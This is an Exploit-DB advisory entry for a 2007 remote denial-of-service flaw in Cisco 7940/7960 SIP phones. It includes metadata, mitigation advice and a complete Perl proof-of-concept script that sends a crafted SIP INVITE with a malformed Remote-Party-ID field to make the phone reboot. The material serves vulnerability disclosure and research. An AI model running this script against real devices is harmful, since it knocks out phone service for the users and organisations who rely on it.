Cisco 7940 SIP INVITE remote DOS

vendor:

Cisco 7940

by:

Humberto J. Abdelnur, Radu State, Olivier Festor

7.5

CVSS

HIGH

DOS

CWE

Product Name: Cisco 7940

Affected Version From: P0S3-07-4-00

Affected Version To:

Patch Exists: YES

Related CWE:

CPE: a:cisco:7940_firmware:p0s3-07-4-00

Metasploit:

Other Scripts:

Platforms Tested:

2007

Cisco 7940 SIP INVITE remote DOS

After sending a crafted INVITE message, the Cisco 7940 phone reboots immediately. The vulnerability is caused by the phone not properly checking the sipURI field of the Remote-Party-ID in the message.

Mitigation:

Fixed software is available from the vendor. Recommended best practices, such as segregating VOIP traffic from data, can also protect against malicious traffic.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Title: Cisco 7940 SIP INVITE remote DOS 
# Date: February 19, 2007 
# ID: KIPH2 
#
# Synopsis: After sending a cra fted INVITE message the device immediately 
# reboots. The phone does not check properly the sipURI field of the 
# Remote-Party-ID in the message. 
#
# The vendor was informed and acknowledged the vulnerability. This 
# vulnerability was identified by the Madynes research team at INRIA 
# Lorraine, using the Madynes VoIP fuzzer. 
#
# Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol 
# for VoIP signalization. SIP is an ASCII based INVITE message is used to 
# initiate and maintain a communication session. 
#
# Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00 
#
# Unaffected: devices running firmware POS8-6-0 
#
# Description: After receiving one crafted SIP INVITE message, the 
# affected device reboots immediately. The proof of concept code can be 
# used to demonstrate the vulnerability. 
#
# Resolution: 
#
# Fixed software is available from the vendor and customers following 
# recommended best practices (ie segregating VOIP traffic from data) will 
# be protected from malicious traffic in most situations. 
#
# Credits: 
#
# Humberto J. Abdelnur (Ph.D Student) 
#
# Radu State (Ph.D) 
#
# Olivier Festor (Ph.D) 
#
# This vulnerability was identified by the Madynes research team at INRIA 
#
# Lorraine, using the Madynes VoIP fuzzer. 
#
# http://madynes.loria.fr/ 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-20]